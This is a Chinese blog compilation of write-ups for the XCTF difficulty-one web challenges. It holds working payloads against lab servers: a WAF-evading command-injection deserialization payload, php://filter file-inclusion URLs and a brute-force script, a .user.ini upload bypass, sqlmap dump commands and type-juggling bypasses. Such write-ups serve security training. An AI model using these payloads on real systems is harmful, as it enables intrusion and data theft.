欢迎光临
我们一直在努力

XCTF攻防世界Web难度一所有整合wp

攻防世界Web难度一整合

目录

unseping

file_include

漏洞分析

easyphp

fileclude

fileinclude

easyupload

inget

方法一

方法二

robots

get_post

disabled_button

backup

常见的备份文件后缀

ics-06

PHP2

Training-WWW-Robots

unserialize3

view_source

weak_auth

simple_php

baby_web

总结


把攻防世界Web难度一全部整合在一起了,制作不易给个点赞,谢谢你

个人网站:个人博客

unseping

  • 接收一个经过 Base64 编码的 POST 参数 ctf。

  • 对该参数进行 base64_decode 后 unserialize(反序列化)。

  • 定义了一个 ease 类,包含:

    • 私有属性 $method 和 $args

    • 构造函数 __construct

    • 析构函数 __destruct

    • 一个危险函数 ping($ip),内部使用 exec() 执行命令

    • 一个 WAF(Web Application Firewall)函数 waf($str),用于过滤危险字符/命令

    • __wakeup() 方法,在反序列化时自动调用,对 $args 中每个参数进行 WAF 过滤

php反序列化题目

<?php
class ease {
  private $method;
  private $args;
   
  function __construct($method, $args) {
      $this->method = $method;
      $this->args = $args;
  }
}

// 创建对象
$obj = new ease("ping", array("dir"));

// 序列化
$serialized = serialize($obj);

// Base64编码
$base64 = base64_encode($serialized);

echo "序列化字符串: " . $serialized . "\\n";
echo "Base64编码: " . $base64 . "\\n";

// 验证解码
echo "\\n验证解码:\\n";
$decoded = base64_decode($base64);
echo "Base64解码后: " . $decoded . "\\n";

$unserialized = unserialize($decoded);
echo "反序列化对象类型: " . get_class($unserialized) . "\\n";

// 通过反射访问私有属性
$reflection = new ReflectionClass($unserialized);
$methodProperty = $reflection->getProperty('method');
$methodProperty->setAccessible(true);
$argsProperty = $reflection->getProperty('args');
$argsProperty->setAccessible(true);

echo "Method: " . $methodProperty->getValue($unserialized) . "\\n";
echo "Args: ";
print_r($argsProperty->getValue($unserialized));
?>
序列化字符串: O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:3:"dir";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJkaXIiO319

获取当前目录

查看flag_1s_hers

  • l''s → 绕过 ls 关键词检测

  • ${IFS} → 绕过空格过滤(shell 会解析为实际空格)

  • f''lag_1s_here → 绕过 flag 关键词检测

<?php
// 定义 ease 类(必须与目标代码结构一致)
class ease {
  private $method;
  private $args;

  public function __construct($method, $args) {
      $this->method = $method;
      $this->args = $args;
  }
}

// 构造绕过 WAF 的命令
$command = "l''s\\${IFS}f''lag_1s_here"; // 注意:${IFS} 需要转义 $

// 创建对象
$obj = new ease("ping", [$command]);

// 生成 payload
$serialized = serialize($obj);
$payload = base64_encode($serialized);

// 输出结果
echo "Serialized object:\\n";
echo $serialized . "\\n\\n";

echo "Base64 payload (for ctf=):\\n";
echo $payload . "\\n";
?>
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCcncyR7SUZTfWYnJ2xhZ18xc19oZXJlIjt9fQ==

  • WAF 检查的是原始字符串,不是 shell 解析后的内容

  • 原始字符串 l''s${IFS}f''lag_1s_here:

    • ✅ 无空格字符(只有 ${IFS} 文本)

    • ✅ 无 ls 连续子串(是 l''s)

    • ✅ 无 flag 连续子串(是 f''lag_1s_here)

    • ✅ 无 / 字符

查看

使用:

  • c''at → 绕过 cat

  • f""lag_1s_here + f''lag_…p''hp → 绕过 flag 和 php

  • ${IFS} → 绕过空格

  • $(printf "\\57") → 绕过 /

<?php

class ease {
  private $method;
  private $args;

  // 构造函数(虽然反序列化时不调用,但定义更清晰)
  public function __construct($method, $args) {
      $this->method = $method;
      $this->args = $args;
  }
}

// 构造绕过 WAF 的命令
$command = 'c\\'\\'at${IFS}f""lag_1s_here$(printf${IFS}"\\57")f\\'\\'lag_831b69012c67b35f.p\\'\\'hp';

// 创建对象
$obj = new ease("ping", [$command]);

// 序列化 + Base64 编码
$serialized = serialize($obj);
$payload = base64_encode($serialized);

echo "Serialized object:\\n";
echo $serialized . "\\n\\n";

echo "Base64-encoded payload (use as ctf=…):\\n";
echo $payload . "\\n";

?>
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYycnYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZicnbGFnXzgzMWI2OTAxMmM2N2IzNWYucCcnaHAiO319

cyberpeace{81801bc84f9eee657f56075e972eab97}

file_include

漏洞分析

  • 通过GET参数filename动态包含任意文件,且未做任何安全过滤(但实际受check.php影响)。

  • include()会执行PHP代码,若直接包含flag.php,其中的PHP逻辑可能隐藏或销毁Flag。

漏洞点在于include($filename);直接使用了用户可控的$_GET['filename']参数,且未做严格过滤,可通过文件包含漏洞读取服务器上的敏感文件(如check.php、flag相关文件等)。

php://filter 直接用是直接进行了过滤

用转换过滤器

使用string.rot13过滤器 不行

使用convert.iconv.UTF-8.UTF-16:可以

可以发现出东西了,所以用的是这个

测试所有不包含过滤词的编码组合

双重转换尝试

py3

import requests
import time

base_url = "http://61.147.171.105:55432"
encodings = [
  'UCS-4', 'UCS-4LE', 'UCS-2', 'UCS-2LE',
  'UTF-8', 'UTF-16', 'UTF-16LE', 'UTF-32', 'UTF-32LE',
  'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4',
  'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8',
  'ISO-8859-9', 'ISO-8859-10', 'ISO-8859-11', 'ISO-8859-13',
  'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16',
  'CP1250', 'CP1251', 'CP1252', 'CP1253', 'CP1254',
  'CP1255', 'CP1256', 'CP1257', 'CP1258',
  'ASCII', 'US-ASCII', 'KOI8-R', 'KOI8-U'
]

paths = ["flag.php", "./flag.php", "/flag.php", "../flag.php", "../../flag.php", "../../../flag.php"]

encoding_map = {
  'UCS-4': 'utf-32',
  'UCS-4LE': 'utf-32le',
  'UCS-2': 'utf-16',
  'UCS-2LE': 'utf-16le',
  'UTF-8': 'utf-8',
  'UTF-16': 'utf-16',
  'UTF-16LE': 'utf-16le',
  'UTF-32': 'utf-32',
  'UTF-32LE': 'utf-32le',
  'ISO-8859-1': 'iso-8859-1',
  'ISO-8859-2': 'iso-8859-2',
  'ISO-8859-3': 'iso-8859-3',
  'ISO-8859-4': 'iso-8859-4',
  'ISO-8859-5': 'iso-8859-5',
  'ISO-8859-6': 'iso-8859-6',
  'ISO-8859-7': 'iso-8859-7',
  'ISO-8859-8': 'iso-8859-8',
  'ISO-8859-9': 'iso-8859-9',
  'ISO-8859-10': 'iso-8859-10',
  'ISO-8859-11': 'iso-8859-11',
  'ISO-8859-13': 'iso-8859-13',
  'ISO-8859-14': 'iso-8859-14',
  'ISO-8859-15': 'iso-8859-15',
  'ISO-8859-16': 'iso-8859-16',
  'CP1250': 'cp1250',
  'CP1251': 'cp1251',
  'CP1252': 'cp1252',
  'CP1253': 'cp1253',
  'CP1254': 'cp1254',
  'CP1255': 'cp1255',
  'CP1256': 'cp1256',
  'CP1257': 'cp1257',
  'CP1258': 'cp1258',
  'ASCII': 'ascii',
  'US-ASCII': 'ascii',
  'KOI8-R': 'koi8_r',
  'KOI8-U': 'koi8_u',
}

def get_encoding_for_python(enc):
  return encoding_map.get(enc, enc)

def test_payload(payload):
  try:
      response = requests.get(f"{base_url}?filename={payload}", timeout=5)
      if response.status_code == 200:
          return response.content
  except:
      pass
  return None

def search_flag(content, dst):
  try:
      python_enc = get_encoding_for_python(dst)
      target_bytes = b"cyberpeace"
      if dst in ['UTF-16', 'UTF-16LE']:
          target_bytes = b"c\\x00y\\x00b\\x00e\\x00r\\x00p\\x00e\\x00a\\x00c\\x00e\\x00"
      elif dst in ['UCS-2', 'UCS-2LE']:
          target_bytes = b"c\\x00y\\x00b\\x00e\\x00r\\x00p\\x00e\\x00a\\x00c\\x00e\\x00"
      elif dst in ['UCS-4', 'UCS-4LE']:
          target_bytes = b"c\\x00\\x00\\x00y\\x00\\x00\\x00b\\x00\\x00\\x00e\\x00\\x00\\x00r\\x00\\x00\\x00p\\x00\\x00\\x00e\\x00\\x00\\x00a\\x00\\x00\\x00c\\x00\\x00\\x00e\\x00\\x00\\x00"
      return target_bytes in content
  except:
      return False

found = False
print("Starting brute force attack…")
print("=" * 60)

for path in paths:
  if found:
      break
  for src in encodings:
      if found:
          break
      for dst in encodings:
          if src == dst:
              continue
          if any(word in src.upper() for word in ['BE']) or any(word in dst.upper() for word in ['BE']):
              continue
           
          payload = f"php://filter/convert.iconv.{src}.{dst}/resource={path}"
          print(f"Testing: {payload}")
           
          content = test_payload(payload)
          if content is None or len(content) == 0:
              continue
           
          if search_flag(content, dst):
              print(f"\\nSUCCESS! Found flag with payload: {payload}")
              print("-" * 60)
              try:
                  python_enc = get_encoding_for_python(dst)
                  decoded = content.decode(python_enc, errors='ignore')
                  print(f"Decoded content:\\n{decoded}")
                  if 'cyberpeace{' in decoded:
                      start = decoded.find('cyberpeace{')
                      end = decoded.find('}', start)
                      if end != -1:
                          flag = decoded[start:end+1]
                          print(f"\\nFlag found: {flag}")
                  else:
                      print(f"Raw content (hex): {content[:200].hex()}")
              except:
                  print(f"Raw content (first 500 bytes): {content[:500]}")
              found = True
              break
           
          time.sleep(0.03)

if not found:
  print("\\nTrying double conversion filters…")
  print("=" * 60)
   
  for path in paths:
      if found:
          break
      for enc1 in encodings:
          if found:
              break
          for enc2 in encodings:
              if enc1 == enc2 or enc1 == 'UTF-8' or enc2 == 'UTF-8':
                  continue
              if any(word in enc1.upper() for word in ['BE']) or any(word in enc2.upper() for word in ['BE']):
                  continue
               
              payload = f"php://filter/convert.iconv.UTF-8.{enc1}|convert.iconv.{enc1}.{enc2}|convert.iconv.{enc2}.UTF-8/resource={path}"
              print(f"Testing: {payload}")
               
              content = test_payload(payload)
              if content is None or len(content) == 0:
                  continue
               
              if b'cyberpeace' in content:
                  print(f"\\nSUCCESS! Found flag with payload: {payload}")
                  print("-" * 60)
                  try:
                      decoded = content.decode('utf-8', errors='ignore')
                      print(f"Decoded content:\\n{decoded}")
                      if 'cyberpeace{' in decoded:
                          start = decoded.find('cyberpeace{')
                          end = decoded.find('}', start)
                          if end != -1:
                              flag = decoded[start:end+1]
                              print(f"\\nFlag found: {flag}")
                  except:
                      print(f"Raw content: {content[:500]}")
                  found = True
                  break
               
              time.sleep(0.03)

if not found:
  print("\\nTrying specific known payloads…")
  print("=" * 60)
   
  specific_payloads = [
      "php://filter/convert.iconv.UCS-4.UCS-4LE/resource=flag.php",
      "php://filter/convert.iconv.UTF-8.UTF-16LE/resource=flag.php",
      "php://filter/convert.iconv.UCS-2.UCS-2LE/resource=flag.php",
      "php://filter/convert.iconv.UTF-8.ISO-8859-1/resource=flag.php",
      "php://filter/convert.iconv.UTF-8.UTF-32LE/resource=flag.php",
      "php://filter/convert.iconv.ISO-8859-1.UTF-8/resource=flag.php",
      "php://filter/convert.iconv.UTF-8.UCS-2/resource=flag.php",
      "php://filter/convert.iconv.UTF-8.UCS-4/resource=flag.php",
  ]
   
  for payload in specific_payloads:
      print(f"Testing: {payload}")
      content = test_payload(payload)
      if content and len(content) > 0:
          if b'cyberpeace' in content or b'cyberpeace{' in content:
              print(f"\\nSUCCESS! Found flag with payload: {payload}")
              print("-" * 60)
              print(f"Raw content: {content[:500]}")
               
              try:
                  if 'UCS-4LE' in payload:
                      decoded_bytes = b''
                      for i in range(0, len(content), 4):
                          if i + 4 <= len(content):
                              chunk = content[i:i+4]
                              decoded_bytes += chunk[::-1]
                      try:
                          decoded = decoded_bytes.decode('utf-32le', errors='ignore')
                          print(f"Decoded UCS-4LE: {decoded}")
                      except:
                          pass
                  elif 'UTF-16LE' in payload:
                      decoded = content.decode('utf-16le', errors='ignore')
                      print(f"Decoded UTF-16LE: {decoded}")
                  elif 'UCS-2LE' in payload:
                      decoded = content.decode('utf-16le', errors='ignore')
                      print(f"Decoded UCS-2LE: {decoded}")
                  else:
                      decoded = content.decode('utf-8', errors='ignore')
                      print(f"Decoded: {decoded}")
              except:
                  pass
               
              found = True
              break
          else:
              try:
                  decoded = content.decode('utf-8', errors='ignore')
                  if 'cyberpeace' in decoded:
                      print(f"\\nFound cyberpeace in decoded text: {decoded[:200]}")
                      found = True
                      break
              except:
                  pass
      time.sleep(0.03)

if not found:
  print("\\nFlag not found with brute force.")
  print("Trying direct file inclusion…")
  print("=" * 60)
   
  for path in paths:
      print(f"Testing direct: {path}")
      content = test_payload(path)
      if content and len(content) > 0:
          print(f"Response length: {len(content)}")
          if b'cyberpeace' in content:
              print(f"Found cyberpeace in direct inclusion!")
              print(f"Content: {content[:500]}")
              found = True
              break
      time.sleep(0.03)

print("\\n" + "=" * 60)
print("Brute force attack completed.")

发现正确的payload

cyberpeace{49497801489bc5f0b68fc832e22ddc08}

easyphp

<?php
highlight_file(__FILE__); // 显示当前源码
$key1 = 0; // 条件1标记,需置1
$key2 = 0; // 条件2标记,需置1

$a = $_GET['a']; // 接收GET参数a
$b = $_GET['b']; // 接收GET参数b

// 第一组条件:a的验证
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
// 第二组条件:b的验证
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1; // 满足a+b条件,key1置1
}else{
die("Emmm…再想想"); // b不满足
}
}else{
die("Emmm…"); // a不满足
}

// 第三组条件:c的验证
$c=(array)json_decode(@$_GET['c']); // c需是JSON解析后转数组
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no…"):NULL; // array_search需找到"DGGJ"(非false)
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no……"):NULL; // 所有元素不能严格等于"DGGJ"
}
$key2 = 1; // 满足c的所有子条件,key2置1
}else{
die("no hack"); // c["n"]格式不满足
}
}else{
die("no"); // c或c["m"]不满足
}

// 最终条件:key1和key2均为1
if($key1 && $key2){
include "Hgfks.php"; // 包含flag文件
echo "You're right"."\\n";
echo $flag; // 输出flag
}
?>

原理就是:构造 GET 参数 a、b、c,满足代码中所有条件,让 $key1 和 $key2 都为 1,最终输出 flag。

破解参数 a

  • a 必须存在;

  • 转成数字要大于 600 万;

  • 字符长度≤3。

PHP 能识别科学计数法,比如 7e6 等价于 7000000(700 万),且 7e6 只有 3 个字符,完美满足所有条件。

最终值:a=7e6

破解参数 b

py3脚本呈现

import hashlib

target_suffix = "8b184b"
# 枚举数字(数字枚举效率最高,CTF题目通常为简单字符)
for i in range(10000000):
b_str = str(i)
md5_result = hashlib.md5(b_str.encode()).hexdigest()
if md5_result[-6:] == target_suffix:
print(f"找到b的值:{b_str}")
print(f"MD5完整值:{md5_result}")
break

b的 MD5 值最后 6 位必须是 8b184b

MD5 是 0e78586068984c25d999c5e08b184b,最后 6 位正好是 8b184b

b=53724

破解参数 c

  • c 是合法 JSON 字符串,解析后转成数组;

  • c["m"] 不是纯数字,但数值上大于 2022;

  • c["n"] 是数组、长度 = 2、第一个元素也是数组;

  • 能 “找到” DGGJ(松散匹配),但所有元素都不能严格等于 DGGJ。

  • 利用 PHP 的比较特性:字符串 DGGJ 和数字 0 松散相等(==),但严格不等(===)。

    c["m"] 选 9999a:不是纯数字,转数字是 9999(>2022);
    c["n"] 选 [["12345"], 0]:
    是数组、长度 2、第一个元素是数组(满足格式);
    array_search 找 DGGJ 时,会匹配到 0(松散相等),不返回 false;
    遍历元素时,["12345"] 和 0 都严格不等于 DGGJ(不触发 die)。
    最终值(JSON 格式):c={"m":"9999a","n":[["12345"],0]}
    http://61.147.171.105:52908/?a=7e6&b=53724&c={%22m%22:%229999a%22,%22n%22:[[%2212345%22],0]}

    cyberpeace{e100bcec9ec33cc4eb21a52a18aedfe8}

    fileclude

    WRONG WAY! <?php
    include("flag.php"); // 包含flag文件,需通过文件包含读取
    highlight_file(__FILE__); // 显示当前源码
    if(isset($_GET["file1"]) && isset($_GET["file2"])) // 必须传GET参数file1、file2
    {
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2)) // 两个参数都不能为空
    {
    if(file_get_contents($file2) === "hello ctf") // file2读取内容必须严格等于"hello ctf"
    {
    include($file1); // 满足条件则包含file1,目标是通过此读取flag.php
    }
    }
    else
    die("NONONO"); // 参数为空则终止
    }

    要拿到 flag 需满足 2 个核心条件:

  • file_get_contents($file2) === "hello ctf":利用 PHP伪协议构造file2,让file_get_contents读取到指定字符串;

  • include($file1):利用 PHP文件包含伪协议构造file1,读取flag.php的内容(避免直接解析 PHP 代码,需编码输出)。

  • 1:构造file2(满足内容等于 "hello ctf")

    file_get_contents支持data://伪协议(数据流协议),可直接构造包含指定内容的数据流:

    • 格式:data://text/plain,hello ctf(注意空格需 URL 编码为%20);

    • 原理:file_get_contents("data://text/plain,hello ctf") 会直接返回字符串hello ctf,满足严格等于条件。

    2:构造file1(读取 flag.php)

    利用php://filter伪协议读取flag.php(PHP 文件直接 include 会解析代码,需 base64 编码输出内容):

    • 格式:php://filter/read=convert.base64-encode/resource=flag.php;

    • 原理:该伪协议会读取flag.php的原始内容并 base64 编码,避免 PHP 解析,直接输出编码后的内容,解码后即可得到 flag。

    完整 Payload

    http://61.147.171.103:53569/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf

    base解码

    cyberpeace{b96ef8b46aa3c4652c5fc3ab55df0bf1}

    fileinclude

    访问index.php

    发现页面没有东西curl 或者抓包看看

    可以发现源码

    <html>
    <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>

    <br />
    <b>Notice</b>: Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
    Please choose the language you want : English or Chinese
    <h1>Hi,EveryOne,The flag is in flag.php</h1><html>
    <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>

    <?php
    if( !ini_get('display_errors') ) {
    ini_set('display_errors', 'On');
    }
    error_reporting(E_ALL);
    $lan = $_COOKIE['language'];
    if(!$lan)
    {
    @setcookie("language","english");
    @include("english.php");
    }
    else
    {
    @include($lan.".php");
    }
    $x=file_get_contents('index.php');
    echo $x;
    ?>
    </html></html>

    漏洞核心

    @include($lan.".php") 中,$lan 来自 Cookie 的language参数,且会拼接.php后缀。利用 PHP 伪协议php://filter可读取flag.php的原始内容,无需截断(拼接后恰好是flag.php)。

    伪协议构造:通过php://filter/read=convert.base64-encode/resource=flag构造language的 Cookie 值,拼接后为php://filter/…/resource=flag.php,精准读取目标文件;

    用curl命令 构造Payload

    curl -v -H "Cookie: language=php://filter/read=convert.base64-encode/resource=flag" http://61.147.171.35:54585/

    PD9waHANCiRmbGFnPSJjeWJlcnBlYWNle2E2NzJkZDNiYTM3ODk1OGYzMDYxYTg0ZWJhODE1YjYxfSI7DQo/Pg==

    解码

    cyberpeace{a672dd3ba378958f3061a84eba815b61}

    easyupload

    是一个文件上传的题目

    上传php被过滤 修改后缀名字被过滤,上传图片也不行,gif什么的也不行 头像是index.php可以解析php

    发现可以通过.user.ini让他解析php的内容。

    作用:特定于用户或特定目录的配置文件,通常位于·Web·应用程序的根目录下。它用于覆盖或追加全局配置文件(如·php.ini)中的·PHP.配置选项。

    作用范围:存放该文件的目录以及其子目录

    优先级:较高,可以覆盖 php.ini

    生效方式:立即生效

    创建.user.ini

    写入

    GIF89a
    auto_prepend_file=sanjiu.jpg

    auto_prepend_file可以让所有的php文件自动的包含某个文件

    先上传.user.ini burp抓包

    修改coontent-type为图片格式

    image/jpg

    上传成功

    图片内容

    上传图片

    上传成功

    地址是/uploads/index.php

    cyberpeace{8b07ba4213ab9de1979dd13be0bb0c12}

    inget

    方法一

    SQL注入题目万能密码直接出来

    /?id=' or 1=1 — +

    方法二

    知道注入点了

    直接SQLmap

    http://61.147.171.35:50586/?id=1

    检测 SQL 注入点

    sqlmap -u "http://61.147.171.35:50586/?id=1" –batch

    爆破所有数据库名

    sqlmap -u "http://61.147.171.35:50586/?id=1" –dbs –batch

    cyber就是我们这个库名字

    爆cyber库的所有表名

    sqlmap -u "http://61.147.171.35:50586/?id=1" -D cyber –tables –batch –threads 5

    爆cyber表的所有字段

    查看cyber表里面的内容

    sqlmap -u "http://61.147.171.35:50586/?id=1" -D cyber -T cyber –dump –batch –threads 5

    一步到位(直接 dump 目标库所有内容)

    sqlmap -u "http://61.147.171.35:50586/?id=1" -D cyber –dump-all –batch –threads 5

    cyberpeace{f59c5eac45f4b644cda86d200863a07d}

    robots

    robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。但是,这个robots协议不是防火墙,也没有强制执行力,搜索引擎完全可以忽视robots.txt文件去抓取网页的快照。 如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
    robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。

    访问robots.txt

    访问f1ag_1s_h3re.php

    cyberpeace{db690b485afed879cd99db3da0d56016}

    get_post

    get是从服务器上获取数据,post是向服务器传送数据

    http://61.147.171.35:55998/?a=1

    Get提交就行

    cyberpeace{fa8b4fcea7ad1cc16973cadea4dbf01f}

    disabled_button

    disabled 本质是标记元素为「禁用状态」:

    • 元素无法响应用户操作(点击、输入、选中、获取焦点等);

    • 浏览器会默认给禁用元素渲染「不可交互样式」(比如变灰、降低透明度);

    • 表单元素(如 input、select)禁用后,提交表单时不会携带其值。

    就是直接禁用 直接把这个删除就行

    cyberpeace{6370c63e7750751f1e87b5b69b091794}

    Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息 。
    Cookie就是一些数据,用于存储服务器返回给客服端的信息,客户端进行保存。在下一次访问该网站时,客户端会将保存的cookie一同发给服务器,服务器再利用cookie进行一些操作。利用cookie我们就可以实现自动登录,保存游览历史,身份验证等功能。

    f12 查看cookie

    发现cookie.php访问一下

    看响应包

    f12可以看

    或者burp抓包

    cyberpeace{b56a1f9d2c2d0b8483ac31b68ed27724}

    backup

    就是一个备份文件

    常见的备份文件后缀

    常见的网站源码备份文件后缀 bak

    old
    tar
    tar.gz
    zip
    rar
    ……

    常见的网站源码备份文件名

    web
    website
    backup
    back
    www
    wwwroot
    temp
    ……

    index.php 文件的备份文件名通常会有一些常见的后缀,如 .bak、.old、.backup 等。

    访问一个一个试试就行

    http://61.147.171.105:54139/index.php.bak

    访问这个就行

    直接下载

    扫描目录也行就可以看到

    备份文件

    Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

    ics-06

    只有报表中心可以访问

    我们发现URL栏有id字样说明我们可以修改id查看内容

    修改id发现没有报错说明就是修改id字段 burp爆破

    id=2333爆出

    cyberpeace{77f051e7121c88862bcb7e7fe7d1099c}

    PHP2

    页面什么也没有直接扫描

    页面存在index.php和index.phps访问

    发现还是什么也没有

    加一个s就可以发现源码

    什么是phps文件?
    phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。

    分析

    PHP 接收 GET 参数时,会自动对参数做一次 URL 解码;
    代码中又手动调用 urldecode() 做了第二次 URL 解码,形成「二次 URL 解码漏洞」;
    第一段是「严格等于(===)」,第二段是「松散等于(==)」,只要绕过第一段严格判断,同时让第二段解码后等于 admin 即可拿到 Flag。

    admin 每个字符的一次 URL 编码:

    • a → %61、d→%64、m→%6D、i→%69、n→%6E

    • 完整一次编码:%61%64%6D%69%6E

    然后对整个 admin 二次编码:

    ?id=%2561%2564%256D%2569%256E
    http://61.147.171.105:61342/index.php?id=%2561%2564%256D%2569%256E

    cyberpeace{6cea349f70d33a6c15495db0ff62c28d}

    Training-WWW-Robots

    访问robots.txt

    发现fl0g.php 访问

    cyberpeace{7b662f02b06344f6d5b7e67c2b8fd7d2}

    unserialize3

    class xctf{
    public $flag = '111'; // 实际环境中为真实 Flag,此处仅为示例
    public function __wakeup(){
    exit('bad requests'); // 触发该魔术方法则直接退出,无法获取 Flag
    }
    }
    //接收 code 参数并反序列化,如 unserialize($_GET['code'])

    反序列化题目

    __wakeup():反序列化对象时会自动触发该方法,本题中触发则直接 exit,必须绕过;
    构造绕过 __wakeup() 的序列化字符串,通过 code 参数传入,反序列化后获取 flag 属性值

    先编写 PHP 代码生成 xctf 类的正常序列化字符串:

    <?php
    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    }
    $obj = new xctf();
    echo serialize($obj); // 输出正常序列化结果
    ?>

    绕过 __wakeup () 的修改

    将「声明的属性个数」从 1 改为 大于 1 的任意数(如 2),修改后的序列化字符串:

    O:4:"xctf":2:{s:4:"flag";s:3:"111";}

    Payload

    code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
    http://61.147.171.105:55590/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

    cyberpeace{70090dbaab785cd191fd9c1c29b791c2}

    view_source

    直接F12或者CTRL+U

    cyberpeace{dda5176a117a894c93b23b208c9e5dc7}

    weak_auth

    我就随便输入弱密码就进入了

    admin/123456

    直接弱密码字典爆破也行

    演示一遍

    直接就出来了

    cyberpeace{b5ae1e58111fb99892a90cb432f35cea

    simple_php

    构造 a 和 b 参数,同时满足 flag1 和 flag2 的输出条件,拿到完整 Flag

    a 参数构造

    $a==0(松散等于 0);

    $a 为真(非空 / 非纯 0,布尔值 true)。

    绕过关键

    PHP 字符串与数字比较时,仅提取开头数字转成数字。构造「开头为 0,后面带非数字」的字符串,既满足 ==0,又非空为真。

    可用 Payload

    a=0abc/ a=0xyz/ a=0e123

    b 参数构造

    满足:

    避开 is_numeric($b)(不能是纯数字 / 数字字符串);

    $b>1234(转数字后大于 1234)。

    绕过关键

    构造「开头为大于 1234 的数字,后面带非数字」的字符串,既让 is_numeric=false,又满足数值比较条件

    可用Payload

    b=1235abc / b=9999xyz / b=12345@

    随便组合就行

    http://61.147.171.103:58465/?a=0abc&b=1235abc

    Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

    baby_web

    说了初始页面访问 index.php

    发现302重定向了

    burp抓包看

    火狐也行

    发现flag了

    flag{very_baby_web}

    总结

    总体来说前几个难度一,根本就不是难度一的难度,🤯后面的还好

    赞(0)
    未经允许不得转载:171主机测评 » XCTF攻防世界Web难度一所有整合wp
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址